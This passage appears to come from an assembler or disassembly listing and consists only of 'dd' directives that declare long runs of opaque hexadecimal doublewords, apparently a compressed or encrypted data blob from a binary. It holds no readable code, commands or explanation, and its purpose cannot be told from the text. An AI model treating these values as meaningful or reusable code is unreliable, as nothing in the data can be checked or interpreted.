195563Dh dd 0C0047C53h, 34D52D3Dh, 15FBB2E4h, 0C0878B3Eh, 3FE35400h dd 1DF63089h, 7BADCA1Dh, 0A101D880h, 0FBDE95Ch, 734EE0E5h dd 0A9278C80h, 0CCA13E20h, 8E2183Ch, 0D26BC12Ch, 716570h dd 863F4E2Dh, 2C188AB3h, 81F1C00h, 2B155D63h, 0B8F91971h dd 0FC2931BDh, 6702FBDAh, 23F5BF5Ch, 174048B6h, 0EAB024EDh dd 9D308814h, 70666144h, 0DA68740Ah, 0A69148CDh, 2DC97600h dd 604DD74Fh, 460CC014h, 0FE7A1490h, 7A8C7C70h, 6BE5146Eh dd 988828B2h, 2DC64980h, 17CF4D7h, 1B2987CBh, 92FB34F9h dd 43EA3A1h, 21008C70h, 38DD3F59h, 48256C85h, 0C284CC48h dd 9A09308Ah, 0AA4510AEh, 6A2FC4BDh, 3C00D808h, 33E39F7Bh dd 6F930040h, 0DE1092C7h, 821DCA08h, 0D7C0BE3Eh, 0ED0ED05Ah dd 0B4B95409h, 38CCA49Ah, 0B2A6D136h, 71160960h, 0C28D9884h dd 172010BCh, 0D4B7FAC6h, 9C092099h, 0F907EA85h, 2CE88057h dd 7B09F76Eh, 0B4D594h, 0BF403C48h, 1258B03Bh, 1AFD88Eh dd 0C8382AA6h, 0A4A83056h, 587FB93Ah, 0D05D0060h, 0B792ED76h dd 0F030302h, 355CE831h, 847B4006h, 158AED1h, 0F4ED809Ah dd 31B34CB6h, 0AC9C027Ch, 589A8833h, 0B23A213Eh, 0EDC8895h dd 9B6EDAh, 0D658C9B5h, 4C21121Ch, 2F2484FEh, 723E8h, 0E668D194h dd 3A03377Bh, 8B799E4Eh, 0A9100C5h, 163DDFA1h, 0FA001C5Bh dd 436992E1h, 91F7BD46h, 1A9E0090h, 0F6C7BBC8h, 2557EE00h dd 0A0B28D24h, 39AD300Bh, 9A95BE91h, 78381958h, 7C54032Ch dd 62611Eh, 3DC7E0DDh, 0E0FC8D3h, 97A00D00h, 0C1CE8C67h dd 0B0CCA189h, 2900E8C1h, 6E03AD68h, 7DA898EDh, 0B3F805FCh dd 3D65E820h, 0A732D020h, 93950E86h, 72424723h, 0A0B171A3h dd 0D03060ADh, 22A07C56h, 641B13CDh, 51350178h, 207995C6h dd 0A541ED1Ch, 0CBA13463h, 9E90C39h, 8693DABh, 625AB80h dd 0F601D209h, 91447B42h, 0A8911431h, 1A089CAh, 8474D01Ch dd 20035452h, 377867FCh, 16F67500h, 9DA4CCECh, 407A62AEh dd 948052FEh, 3553656h, 0C0CD7C00h, 0DBB9605Eh, 0C44F00DDh dd 4E046F91h, 80928C34h, 14E1FC8Ah, 46518AEh, 0A45AA9Bh dd 0FC2CBDh, 0F12D9B35h, 22E389F6h, 0A4D5DE00h, 3BE22998h dd 88E4A0A0h, 1951C0BFh, 599073A7h, 62AB8400h, 17B8A451h dd 4084AF3Ah dd 0BE8B8A09h, 6F3361C0h, 1C949C44h, 476DBFB7h, 80C39936h dd 0C4D89B1Fh, 5B601C90h, 4C395AE8h, 609018h, 45F1DE44h dd 0A6165FC3h, 1AC9DA00h, 392C1150h, 9A841E88h, 96878037h dd 7A016ABAh, 0A8B3D001h, 0A9C2FF7Ch, 3BB28AE0h, 0DA001140h dd 8D735305h, 64009C7Eh, 45BC37ACh, 0F894C0h, 3A29B888h dd 1222C538h, 4EAC30C0h, 0D90AD0h, 23DF45C6h, 41A80993h dd 5084CB1Eh, 0DEA32930h, 0FA500FAh, 0C6C0A7F5h, 0D9004C60h dd 0DC30C890h, 35B896h, 87A854E5h, 338A29A1h, 0B91919C0h dd 23D65h, 162118B6h, 0D3F0996Ah, 6F1D8D02h, 8E1AD238h dd 0D516C034h, 183B630Dh, 181309C3h, 8C12DDEh, 9AB5FF23h dd 0A29FD0h, 6F815058h, 0D475DC60h, 9D208B00h, 210DE3E9h dd 94D13CFBh, 91F87FB0h, 9903B684h, 0BE574BC6h, 4A51188Ah dd 11120883h, 7E428907h, 4730DDCDh, 7F9F2217h, 84FF5426h dd 9240949h, 75D3D87h, 0B1719DF9h, 22E42D5Ch, 26E0009Bh dd 256D11E9h, 0A50784CCh, 0A74BDF38h, 0D0FF40EEh, 0D1CE7Dh dd 1279F4A1h, 40356B6Eh, 0C9A2B600h, 0EA0C8FD6h, 2DBF0EB1h dd 967F73h, 0C31E4728h, 0F30312D5h, 0E3167759h, 0BC41A156h dd 0E65D2080h, 27493FBAh, 0C6D46900h, 243CEA86h, 0D19C0060h dd 54FD43F0h, 0FA727D1Bh, 0C05F9D03h, 0E01CE777h, 0DEA332EEh dd 39DE0248h, 877FBF38h, 0F9DE9BDDh, 218FA608h, 33751F5h dd 7C65ED0Bh, 567A10Ch, 0F1E16059h, 61C41906h, 52303D8Bh dd 1A23EC38h, 0FDAD0839h, 8E00FE16h, 0BB743689h, 7091033Ch dd 209DC6EDh, 6A583Eh, 0FD5247E9h, 6732EA7Ch, 0C1181863h dd 3557E29h, 4485E18Ah, 0A4ECF0h, 0F7BEE790h, 10F62656h dd 1D62AE7Ch, 696229h, 0AA70BD18h, 2D2B2F01h, 590325EBh dd 5375C8h, 27828FD7h, 4F9F89FFh, 0E6AF1D01h, 9EE1A419h dd 4E01094h, 4EDB2081h, 8FE8F050h, 0E3960600h, 0E62EC1ADh dd 0BE371690h, 20A90125h, 84FE7ED7h, 0ACAD7728h, 8F18D0Fh dd 8180658h, 0A48C7C33h, 843951B5h, 4F14B150h, 8164284h dd 39E73605h, 0B22CB22h, 0CAB60063h, 0A9FAE4DFh, 5B0EB30Dh dd 0A08C138Dh, 27F3B58Bh, 37523FEDh, 0F270F901h, 0F821FF95h dd 0E00D289h, 7D8D5EE0h, 0A8FD29h, 28F0D671h, 0E8BE23F6h dd 0F3D5B200h, 9048E733h, 0D9F0015h, 864C174Ah, 2E00BFF1h dd 334931Eh, 5F1A63h, 56577F81h, 0B66732B3h, 6F3ACD1Eh dd 1CF290C0h, 5FE899h, 2E95CCFDh, 2318546Bh, 83BF5938h dd 0B9FBA2F3h, 0C731C837h, 0D4B72ECBh, 865900DCh, 0A5F5D95h dd 8ED85150h, 0F3645E01h, 22CB6928h, 7C957FCh, 6DEA91A8h dd 0E0FF20E1h, 0E03E41Fh, 73EDAF9h, 7A1003C6h, 2772F09h dd 64227080h, 0C481E000h, 0D54F13E7h, 0D2230006h, 65BA014Dh dd 6212402Bh, 0C01550Eh, 75E2447Dh, 3658FCh, 49A82476h dd 0AB2A8AF2h, 4E517103h, 0E83B4720h, 33212Eh, 0EDDFCD9Bh dd 8692A556h, 62AAF703h, 0D0F65EE2h, 0EDE141D7h, 988DFCh dd 0A42F48BEh, 0E75F4B06h, 8203AD00h, 0D4ACB997h, 0E3D90081h dd 0D0260ED8h, 0BE01CC72h, 93C373BAh, 0A440F4CAh, 48D967h dd 1EA7CB63h, 0FD083A0Eh, 0FAF8A0Fh, 0AC678027h, 3371Ah dd 0A4BE2520h, 564368FAh, 0CAAA2807h, 3C409653h, 7CB679D8h dd 800800E4h, 0B443DE68h, 0EB0048E0h, 38CC85C3h, 0E26F154Dh dd 8670000Eh, 9EE651FCh, 100B58Dh, 0D0693E44h, 3DCAFB75h dd 0EF00CC2Dh, 6CB8B716h, 8E07D69Fh, 0DF1FABC4h, 0A27C5701h dd 7AC8F60h, 1840766Dh, 0A0D71054h, 0E207E1D2h, 0AD2E1067h dd 35A25660h, 0F74F4836h, 0A3865201h, 0E80CD057h, 9C161E5Dh dd 4AAB8D2h, 8003A043h, 0A473400h, 9E221001h, 40573D6h dd 2FDEC02Eh, 9400E865h, 0D734DEBBh, 2883B345h, 0E8DF06h dd 80DA5FEBh, 5D39A9A6h, 85C8CA01h, 68B58CA3h, 907EF230h dd 3F510920h, 298034C3h, 4C16440Fh, 24107A26h, 0BFFFC580h dd 20A25D6h, 0D7A75D99h, 10401E59h, 0FBECD21Ah, 841C5103h dd 0D8C280E6h, 0F2F825h, 0EB70E5A2h, 1E65AC75h, 0C5AE4F00h dd 64C4C1D0h, 0DAF8005Ah, 0E40CEFCCh, 0FD1F3894h, 22004F21h dd 0E3F593F3h, 0BE3E3B17h, 8BEF0C00h, 0D67086F1h, 0CDB30E00h dd 0AA13518Eh, 0E94F00B8h, 1B17E2C3h, 6B0083FFh, 45234B6Fh dd 9BB738h, 5C732CCEh, 2002E286h, 35C0B100h, 0F131E07Ah dd 79627034h, 0AB4B2079h, 216C0B00h, 4D6AC713h, 593600F7h dd 0FBFE5740h, 0C200035Bh, 0AF2F0F77h, 1F335854h, 64D919AEh dd 0E81E30B0h, 0E2000D75h, 0F6A6F105h, 0F2D9172Ch, 377BD6h dd 25028A62h, 2FBBCD04h, 0E400B9EEh, 0C36F664Fh, 272037h dd 0C4A42A3h, 0C173C05Ch, 68BB911Fh, 1F72AA40h, 0F6564674h dd 1F3958D6h, 69AC280Fh, 503D97E0h, 1C003329h, 606B1DE6h dd 3E729Eh, 0F5A7CC68h, 0EA814B49h, 0FEC1C700h, 0E32DA421h dd 0A0E7030Eh, 0D840B944h, 70E67AC1h, 0B300B0CEh, 7F3F2315h dd 9D272E5h, 64227A5h, 0DB550C02h, 0C0AD544Bh, 0D180D793h dd 0A60042F0h, 321BAF13h, 1C26D44h, 0FAECCF6h, 208C49DBh dd 0EC077B10h, 0CB453947h, 42593210h, 0D6F20033h, 519A0846h dd 68006040h, 1D3A3441h, 2402B7CAh, 1348E214h, 7C9821ADh dd 8F06DCD3h, 64D28500h, 0EB394D4Eh, 0D0F001B4h, 2BFD4505h dd 0B153F0EFh, 0E31D4203h, 0E43F24h, 5DEB7990h, 8419F598h dd 0A4A0B198h, 430FBEB3h, 0CF4C9Bh, 0C5CDD302h, 0D6580328h dd 45B52E96h, 0D56F2390h, 0D000DBB0h, 2CDE8660h, 3948127Dh dd 0E80AAEAh, 272343B4h, 654EB5E6h, 2A834C80h, 5930021h dd 55D0B217h, 0AE0026ACh, 8DD5D1F3h, 0B65256Ch, 7548E9F8h dd 0CF537800h, 0A900054Ch, 0AD36567Fh, 9D81D3h, 6E3360F8h dd 6C9128D4h, 0C1D5400h, 0C510CFB9h, 0F55F0027h, 0D2371ECh dd 600B318h, 0F1461773h, 7A8F3Ah, 0DAFA01ADh, 20AE72EFh dd 0D224E700h, 6A3BF47Fh, 34B86398h, 5080B582h, 2698CC2Bh dd 0E39D6200h, 0B921887Fh, 56906Fh, 0B1C8B36Ch, 65F4C92Ah dd 1457D900h, 3BAEA0C0h, 7C5E0174h, 0E040235Ah, 765FEC53h dd 78A3DF00h, 0CAC891A1h, 0F9CC00CDh, 0FE42442Ch, 0D40FECB3h dd 0CFE9A7DDh, 5585E04Ah, 61453Fh, 882A8117h, 82B6780Dh dd 0F6C6E100h, 8D7DDF05h, 0E6A700F0h, 6771AC33h, 59E0D44Ch dd 0A26F70C0h, 0A32AE0h, 98357EF9h, 0BE88A612h, 9D60BF1Eh dd 8FF7F040h, 1D97C194h, 40F9E3ECh, 0EE863A5Bh, 0E7F00CFBh dd 9566E900h, 9A549245h, 4F401FEh, 7D1562D8h, 4F5BD4A0h dd 2B96BB1Eh, 3C28C030h, 0EA06789Eh, 15D21F0Ch, 0C04800B4h dd 0DE01D89Bh, 38298806h, 1909455h, 0ED41397Bh, 0D002D32Bh dd 6C09E4DAh, 2CFD428h, 6078FBDBh, 40C1C7h, 0BDA6B93Fh dd 10E13365h, 44B44900h, 9C9A0FB8h, 0C24D0060h, 0F10BAD2Bh dd 0EA04DA8Ah, 8B5BE37Ch, 238636C0h, 37670046h, 0E1B4D56Dh dd 5E00D865h, 944451D9h, 5A3B8DFh, 0FD5C2D60h, 0FBAAC4Bh dd 47E43138h, 6350A021h, 654391h, 0F01781D6h, 0AB06DF0Ch dd 0C1FE2B1Dh, 0CCB2E700h, 3D0E030h, 0FF8190DDh, 37E87228h dd 5000277Dh, 0BFCB7347h, 5BF3AAh, 0C9010AACh, 26D81B82h dd 0B1ED6C03h, 0A063D472h, 8DBB10h, 9B9C4B2Ch, 0B9D105CCh dd 47E07300h, 13D6B39Dh, 268E00FCh, 0E8B107E6h, 44FABFFBh dd 151CEC00h, 0A4FCB9F2h dd 51F1004Ah, 9F03543Bh, 0DF7821E4h, 0A6FEF0Eh, 0C74EE0D4h dd 7AD5F81h, 43B54759h, 0AF5430E5h, 0D20CD57Ah, 0C0388A03h dd 384A7A4Dh, 0F3045F5Bh, 803B8B54h, 618186CAh, 7740EE00h dd 4FFE87E3h, 64F400F5h, 0A2CFD229h, 0EA0076A4h, 3F6B2AD5h dd 2237A3h, 875BACD3h, 0FD9BF129h, 0C0B26E00h, 0FBDAB113h dd 9CCB1752h, 422D0077h, 12B81CC6h, 0C36E9200h, 2264D033h dd 0E74E3F4Bh, 24C4B98Eh, 80B25020h, 0C10007EFh, 190EF156h dd 7B363F68h, 12B90074h, 3A5FA396h, 0C1E8DF39h, 0AF615200h dd 1FB20FDEh, 0F117003Ch, 8D6EB568h, 20F7BDE2h, 1C1440F8h dd 0F0BA0Dh, 25F95D3Ah, 78FD829Ah, 98EE001Ah, 0B0468A5Ah dd 0BE00AA0Eh, 0F419E212h, 0AD0A4EDh, 0EE9CA0B1h, 0C76405F4h dd 59DD026Dh, 9C808AF5h, 3DC57C84h, 0A4879B00h, 0ADDF5C29h dd 0DBA900F2h, 0DC3330D8h, 0BB1C2636h, 0BC83C732h, 0E8814C1Ch dd 44A87Ah, 0DBC24008h, 9E2E76C0h, 5079EF00h, 0BE2FD0A1h dd 0B9980020h, 35B13A66h, 3000035Eh, 92845F0Ch, 26EAAA8Ah dd 0AE31F2h, 65F9AC21h, 3D78BD42h, 7241B700h, 27891A12h dd 7399732Bh, 86EF0316h, 0FE8E0FC0h, 97054AA0h, 0A2BCBA00h dd 17EDEB8Bh, 2890021h, 0D3D12D6Dh, 7B004E53h, 0B2992445h dd 51925C81h, 8CECACB5h, 1A700068h, 9B095215h, 30013917h dd 0E633FEF1h, 0B040D2E1h, 0E092FD64h, 275F0091h, 6B74B267h dd 0F6790DE4h, 46CD2900h, 8BFCEAFAh, 81400064h, 0C54548E1h dd 0EE38C287h, 0E28E802Bh, 2064A407h, 711601BDh, 58F2FD91h dd 76B440B9h, 4AF8CFEEh, 8D31B500h, 8382C625h, 0D4EF2C9Dh dd 338B3E9Bh, 8F033FA4h, 15C0227Bh, 0EF00892Eh, 25343BBAh dd 34EF093h, 2A8970Ah, 0C3CC0E49h, 0C6B8B56Ch, 1000CB37h dd 0EC3848C4h, 2C235621h, 73B26h, 0B06609A5h, 1100B6C9h dd 1546C336h, 2448D78Eh, 3D44C10Dh, 2784ACh, 0AC1E44F0h dd 6F00E83Ah, 158B1B4Ch, 1D3CB2B6h, 8FABBFAAh, 1C031FEEh dd 0D08945C2h, 9DC0201Bh, 78A6C016h, 0BBD8FD00h, 4D1B361h dd 1C9AE302h, 0E96C906Bh, 1748A33Eh, 95FD0349h, 0A02DED8Ah dd 917248h, 0DB9287A9h, 500906BCh, 2983D100h, 394908F0h dd 52AFA0F2h, 0DC5C1E4Ch, 627A80C2h, 385FF8A0h, 6BFF6C03h dd 0F0605137h, 0A4A14Eh, 6DCCDB68h, 83F4F3B0h, 2BE44D07h dd 41015C4h, 0EF0AFEDFh, 0B03B8040h, 81794C4Bh, 57841000h dd 91B4047Bh, 4808C900h, 70BFD027h, 0CB1B00A6h, 0ACF2DC0Dh dd 2E1D3269h, 0A140F5C0h, 0DFA7BEE1h, 0A91B003Eh, 0B762F10Fh dd 300EE9Eh, 0FAADCFD5h, 26CE8DF7h, 8000BFB1h, 7912469Dh dd 7A005E25h, 2B82C819h, 0CEB305h, 0F36ECCEEh, 287F91EAh dd 0B1618A00h, 6B9AB241h, 0D57216h, 3908C883h, 909D6346h dd 0CE939503h, 4C0F002h, 4DD08060h, 0F0D80AEh, 980046B5h dd 0E94FA988h, 1EAF84F1h, 406B41FBh, 7BCF387Ah, 8E018BB0h dd 0E25855B6h, 66FC34B1h, 0BAF60F88h, 99AF3248h, 0FCCAA83Bh dd 634AEB40h, 28879C00h, 340E1184h, 3ADA00C7h, 5348ECF2h dd 150E392Fh, 205CEE03h, 38948DE2h, 0FAB518F5h, 0E385C09Ah dd 60F18914h, 4A7113CCh, 33CD8501h, 0EAF8693Eh, 0F51900BEh dd 211046BDh, 4707351Eh, 1CC91F3Bh, 0E6F80049h, 9893AB14h dd 16733CF5h, 804B329Fh, 4E7B8990h, 621E556Bh, 72C5F604h dd 0F800B9DAh, 0EDFB0725h, 87CC096Dh, 340048B8h, 468886FDh dd 926024h, 8D4A9700h, 90905EEh, 1FF4CE94h, 0EDDA1C20h dd 0E7728E0Eh, 256403Bh, 3BF72E2Bh, 183068E3h, 0EC211E36h dd 166D81A3h, 0D07BD1B2h, 577D9B32h, 7527CA00h, 0C8D56F4Ah dd 7A94C017h, 0BC9246B7h, 68BF5630h, 7E4CB0FBh, 54970FE4h dd 9960175Ah, 7606DEC0h, 0A616A100h, 5AC8CE9h, 10A76024h dd 9AD53263h, 59F86701h, 8D843361h, 350C8FCh, 40CBAF6Bh dd 6007EC80h, 6685DADFh, 4239D311h, 589FF3CCh, 2D00A8A8h dd 0CB272874h, 0B200A66Bh, 6F080292h, 1E06E84h, 5DE3C6A4h dd 6041B35Ah, 5B00F144h, 338C7D4Ah, 0F7A3DFh, 0A17434A9h dd 46E58336h, 717EFC00h, 706BF3B8h, 9A28004Ch, 4BAF5D07h dd 0E8A06E3Ch, 58707DE8h, 0C7BA7900h, 0E131578Ah, 5C3C002Bh dd 0FFFBC307h, 217F8ED0h, 0F0B4BF00h, 0CDF2A889h, 5A8D262Bh dd 6D94014Dh, 0C9D9B69Eh, 0DD77F074h, 9800A77Ah, 144DDBADh dd 7DFA6C6h, 0AB95B1BDh, 0BE4F3066h, 64055718h, 0B3E29C77h dd 2D3A70C0h, 0C1EEF2h, 171009F4h, 0E97D1CA2h, 5C9CC003h dd 0A112B45Fh, 0BC60BC18h, 0BA4A0279h, 0A64AED7h, 0D0F90440h dd 0CE05C20Ch, 6C1001h, 0CA16BBAh, 0C357E69Fh, 0AEDCF6C0h dd 79EEBCFBh, 0E0960076h, 1B3F4424h, 0B6740686h, 0CEA1F600h dd 1C37E39Fh, 0A61E00DBh, 0F23C40CDh, 0F000BA8Eh, 0ABC48BD2h dd 3EFADEE0h, 720FC871h, 372F5851h, 0AAF04BA0h, 407DA98Fh dd 86A17900h, 0E668C91Ah, 0A44E0466h, 0C0FDF5EAh, 0CFA6151Fh dd 287C8706h, 108286h, 8A7F7B0h, 3290966h, 63337D12h, 0EEDF2802h dd 0B9E002E6h, 0F24E5845h, 9AB5140Ah, 8321A000h, 117AD12h dd 1CFA135Fh, 0DCF96776h, 0B4008480h, 8819E9DCh, 1F1CF07h dd 0B7A4B31h, 345D1C0Eh, 95EE3000h, 0D684F900h, 0D246B902h dd 56F40B3Dh, 40305E92h, 0EE1E5DCFh, 0F5409860h, 0DF9ED904h dd 0E7B703A2h, 0C68B6746h, 7C10ECF0h, 0C4F98328h, 55C0E650h dd 87093600h, 29AD7E8Dh, 833203E1h, 9AECBC0Dh, 0DE9347C0h dd 6EEBE1Eh, 1D554887h, 4C620480h, 36D40082h, 74C3DB5Ah dd 61008C35h, 0F5C9DF0Eh, 0BC6D79h, 0F70532E7h, 0BD315352h dd 37ADB400h, 0F24A3480h, 0D3AA00B5h, 0DB97AF77h, 993B74D2h dd 0C6B48F4Fh, 8F04605Fh, 10FE626h, 0F975F0E9h, 0C8312D6Ah dd 112C1B83h, 9340DC04h, 1E0EF3FDh, 1E0A58h, 1D7B16F7h dd 0BF0E78E9h, 4030E194h, 2D2BB04Fh, 0C2ED00F6h, 0FC7AD572h dd 0F8B03893h, 0DF124AFEh, 0D0044227h, 0F7C7C3E2h, 7F2860C0h dd 2D5A03DEh, 8EFD5C63h, 883ED8F0h, 19C52600h, 91875039h dd 8586127Ch, 0DB9800BBh, 0CD35AF12h, 0CFA80913h, 9A8BF700h dd 304AB9h, 4B8DA6EEh, 359E336Eh, 0E74EDD03h, 0EF170C48h dd 0D145FFF1h, 2352C840h, 89D2265Dh, 0F67F04A0h, 622B00C0h dd 3D8626FAh, 5B93CE08h, 7FDC20F4h, 0CC13FB51h, 6000073Bh dd 39523810h, 0C0B0ACh, 7D1BD4C3h, 0FD132178h, 7B00C57Fh dd 0A106A0DBh, 861476h, 3B3D42EDh, 5568CE5Dh, 7678EC48h dd 6FDC2402h, 4802D00Dh, 13A0AD98h, 5476E7Fh, 813B5CF8h dd 8059E336h, 0A18E0A10h, 0C2C49BAh, 5A15F4A5h, 583E1218h dd 1E4A8704h, 0A2505BB5h, 90B43596h, 0B67CA4h, 0D979C41h dd 26EAF1F4h, 5AB7BB01h, 8EEEBF37h, 3F5D4AC0h, 8280154Eh dd 0D9F2AB52h, 10C0261Fh, 2161B9B0h, 870428F0h, 0DCBA0090h dd 62D304Ch, 277985E1h, 1A45F31Eh, 2F1DE40h, 0E01E82DBh dd 0BD0B00C0h, 947D3425h, 59007593h, 0F0C92E56h, 7E40FB8h dd 7AEFB4BAh, 0D420498Dh, 0A7213EFFh, 2B3A2E01h, 8B1DDD5Eh dd 62E4B4D1h, 7223F6BDh, 6F5700F4h, 6738AFA7h, 0CC3A1286h dd 848F809Eh, 3FCFE556h, 246AE2EDh, 8E50FD66h, 70B0DEAAh dd 68D35Ch, 6A6564E6h, 0FC814363h, 0C05D00C3h, 0D02E9E01h dd 230F3DAAh, 0D32CDBDEh, 0E2431040h, 6FFF81E8h, 48299053h dd 0B639D0C0h dd 6A384C00h, 0F9FFED84h, 1FA701F8h, 3E80B72Ch, 5E0F6050h dd 0A30B5704h, 44C0CB03h, 6E1047h, 6359E93Bh, 16D735E3h dd 3223FC07h, 11E348CAh, 0D4469086h, 3D2007Ch, 2CD57DA2h dd 0F500F46Ch, 47B79122h, 711EA3Dh, 0BA892308h, 7F365084h dd 0B6008AEDh, 92F6D628h, 0D38DE9h, 1E5A9910h, 389EE205h dd 2ADADE12h, 8B11C40h, 4A279Ch, 0BC16FD18h, 4B1B11BFh dd 219A451Eh, 11D3558Ch, 768D12A0h, 829C0319h, 3A593C0h dd 281534E0h, 58507DBAh, 4B00B77Fh, 93E6C74h, 48DD6E96h dd 7127D1h, 0D32B7A35h, 0DAC174Ah, 7089F700h, 0D5447821h dd 0CBF50045h, 653B22B1h, 2800A002h, 9E5CDF6h, 49A78D67h dd 2700E07Ah, 2DD4B53Dh, 2EF2CBD2h, 71B02A5Bh, 9CB42Bh dd 0CC0C3CE6h, 0C54C7240h, 0A7B20684h, 0F41C913h, 9274DC41h dd 4E75F4E0h, 0D0C0C1FAh, 0E7E50467h, 0C5DD0022h, 982D4A96h dd 0DC009C63h, 0F273B31Eh, 0E40BEBDh, 0D10C7D6Eh, 6FEFA040h dd 0FE0989CEh, 6BBE8h, 0F2351704h, 6A46007Fh, 85EE2A65h dd 0EF008DACh, 0BA912ED7h, 0C02BBD95h, 74DBE219h, 2C1C3D45h dd 0CB8141C5h, 785D2FEFh, 0DFE7ACF8h, 70FD94B8h, 1A7D2903h dd 7CB88FBBh, 0E500B2E2h, 7651879Eh, 2BC6D0h, 0E9E4C5BEh dd 0F3E331DCh, 8066093Ah, 15FD5BCAh, 0D126Fh, 322C39EFh dd 6745EB07h, 6E4FE20Eh, 91D883EEh, 1DEE306h, 0AF768971h dd 8021CB61h, 5BECB110h, 99D5Ch, 47BFF1C6h, 8D731F9Bh dd 59F01C00h, 3EE026E9h, 8050098h, 140C326Dh, 0DC07E6CBh dd 45CD18F7h, 88516446h, 923B07CCh, 39DA002Ch, 6F6CD4D7h dd 590C3676h, 0E1FD4DB9h, 31350008h, 6C0F9925h, 28C8D379h dd 5F234272h, 52211124h, 4E5190AAh, 485C8684h, 9FDB42EDh dd 0CD220A24h, 0C408E911h, 8B66E344h, 35E840B7h, 54077F32h dd 339DC1A7h, 0B22E2D30h, 4054EE6h, 0C3A94FA0h, 6FA0304h dd 915CA8D2h, 7D38132Ch, 535A3300h, 0E4C2D36Ah, 86EF0B02h dd 9C23D779h, 1800CA24h, 19C329EEh, 76C73FBh, 4C545FEBh dd 4200190Eh, 9FF79248h, 16BCFD00h, 318B197Fh, 42410055h dd 5288EB2Dh, 7E0373C9h, 710DB7F7h, 0DA5FF8FBh, 99E20021h dd 0F87F7C44h, 911249EDh, 0F00068A2h, 75120945h, 1894F271h dd 182E96E0h, 893F2D79h, 0EF990007h, 0B2B8153Eh, 63D10372h dd 0E2C6E387h, 0ADEB8998h, 96A7E500h, 0A6A2DA60h, 0E01838E4h dd 6EA1CA00h, 32449264h, 6F3DC8E0h, 0EC50071h, 0A3194245h dd 0DE8D0408h, 80B0B44Ch, 3F8A9C18h, 244D5500h, 4ECB6FEBh dd 10710335h, 0CE2609B8h, 46D2D4C8h, 8F82861Dh, 0AF0F0D80h dd 0C15FF1h, 783E7C96h, 7DB3A28Ah, 57D87A00h, 19A7DD70h dd 70A84B3Ah, 0AEA62DE8h, 0EC076A4Ah, 9520E3D0h, 534374h dd 0A971D799h, 45277ECFh, 6AC33E07h, 259063A8h, 5ABD5102h dd 1856A82Ch, 0D1C061AEh, 6DF80074h, 0BAE09FC1h, 0F909A17Bh dd 40251AE5h, 3CE7728Ch, 6C00FC37h, 0D447AF8Ah, 2C3C3602h dd 4B2118FFh, 0AD5C10h, 516B32A7h, 8EE11379h, 61008C76h dd 4B2AA1FFh, 9EE55h, 0A285F946h, 0C62D2E25h, 8467991Fh dd 89CBB0C0h, 711CF8h, 2ED64717h, 0ADCECA69h, 0B01D092h dd 8A6D063Fh, 0B0CCBFF0h, 0FDF400A1h, 44CE4A40h, 0EF009E73h dd 0FF85638h, 1084FE1h, 0ADB65A03h, 82722893h, 0FF124520h dd 0A227E0D0h, 3A49E26h, 0EDF25BA8h, 618A2380h, 58653Eh dd 1C41DC5Ch, 0F852AA1Ah, 0B3F90ED2h, 0AE26262Bh, 0E13D502Fh dd 141700B7h, 5FB551ADh, 74E400F7h, 4D711B22h, 43135C39h dd 0CE079229h, 0FC207AA1h, 0B8EF6456h, 0CCEC011Ch, 19E38D83h dd 0B786E02Eh, 45D46301h, 0BEF236DBh, 0F6BA2720h, 308101B8h dd 99D0A486h, 0F30470E7h, 7E4CBD00h, 987D56E2h, 902E4C4Fh dd 0F46BD600h, 2F9FEF81h, 51F15000h, 0F2397D0Fh, 79277B5h dd 4BB24A16h, 52DD108Dh, 65006236h, 85BB87E4h, 34C2FCh dd 46A315C1h, 98F7973Ch, 83000498h, 0F85B7F3Ah, 0E8078B26h dd 0C0BA4837h, 0C9239800h, 0B2A42886h, 0B42AD100h, 88B1070h dd 5C11003Dh, 0BE329107h, 7B002CC6h, 0A91E60D0h, 0EF80A0h dd 4A920DC7h, 911BDBAFh, 0B3BB1900h, 15C3F358h, 0C52813EEh dd 0DF88C051h, 4101FBADh, 8F95D8F6h, 5C20A93Ah, 10451DACh dd 80F20013h, 9AA02D19h, 0EB0061F0h, 3F66D8A7h, 0EC71820Ch dd 98AF1329h, 0F2FC0328h, 5F8B9CA1h, 4BE9611Ch, 5D74FB40h dd 0B839A87h, 5A6FD430h, 0DBD0FC40h, 90E0B50Fh, 76CD00C4h dd 3F971143h, 580A958h, 0B8FC8616h, 0EC005707h, 48B23156h dd 30770B8Fh, 0CF2A5D13h, 36001C92h, 6476275Ch, 0F54788h dd 0F161609Dh, 2B95ADA4h, 0EDC24D07h, 0A160F3DFh, 49D176h dd 2341D577h, 0B37DA46h, 8FD3420Eh, 35419D83h, 40E3D99Eh dd 73C9B4FCh, 0DE9B00CFh, 3967B5E2h, 0D500F511h, 8CD98332h dd 3D7563A2h, 0C0051762h, 0C02BE9C1h, 39BB1B9Eh, 26D8C80Bh dd 21800D6h, 0F203B553h, 0F94800F8h, 0A78BC355h, 0FD00CAC0h dd 0BE87124Eh, 6E1B79h, 0D423181h, 436928DFh, 0FE0B6B02h dd 0E04A4157h, 1ED6E0FFh, 8F04B610h, 3F40F531h, 0D1B1E44h dd 0FBCBFA03h, 82C5C1B5h, 0AD9881BFh, 0A8E8AE19h, 487E94h dd 87230D29h, 13761B18h, 0A28FFC2Eh, 0F7C21200h, 0CFD498Bh dd 0F9B7ABC4h, 0A9073840h, 9973C842h, 0C39CF600h, 674100DAh dd 75047E50h, 91000AEDh, 3F73C6E7h, 0CCAA9Fh, 39ACDC08h dd 31E32C3Ch, 0A544E000h, 5F20285Eh, 0C7C83086h, 70D32218h dd 7800BE7Eh, 5B741D84h, 1C25D614h, 1E7A2BC3h, 30F146B6h dd 9A7D302Fh, 47FEB007h, 8504A817h, 0DA24D280h, 4793CE8h dd 2C0A7D00h, 239BE6B8h, 5EEA400h, 30D41043h, 0CFC05CCFh dd 385A0C00h, 1B6CBE45h, 0ED20B300h, 52FB188Bh, 0E8165013h dd 0F69473C9h, 83530073h, 0EE5056B1h, 0E03DDCEh, 3A160C4Ah dd 556AB041h, 7D473FDCh, 23C813h, 0DEED6B4Ah, 0F50191E1h dd 0C58A398Bh, 0E850E027h, 7178E6F3h, 87F7Ch, 826024DDh dd 6C3F8A5h, 0D427B900h, 0B25893CBh, 0CF7C0049h, 6C5F2E75h dd 8230E02Dh, 4DDA019h, 8AD93CC3h, 68F7770Ah, 5E2C80F8h dd 0BA87BBB8h, 1D43673Fh, 0C0C093A9h, 798820D7h, 76417A94h dd 0C451004Eh, 4096A391h, 0F39D3C9h, 78AC8032h, 0C2E0700Ah dd 1CDB011Fh, 0E7E82C3Eh, 5D51EC31h, 5055C904h, 0A4C125ADh dd 5230BB38h, 89DF075Bh, 0BA1D9728h, 0B2E800FCh, 712D04A0h dd 10A67800h, 0BB2E21CDh, 60B8C037h, 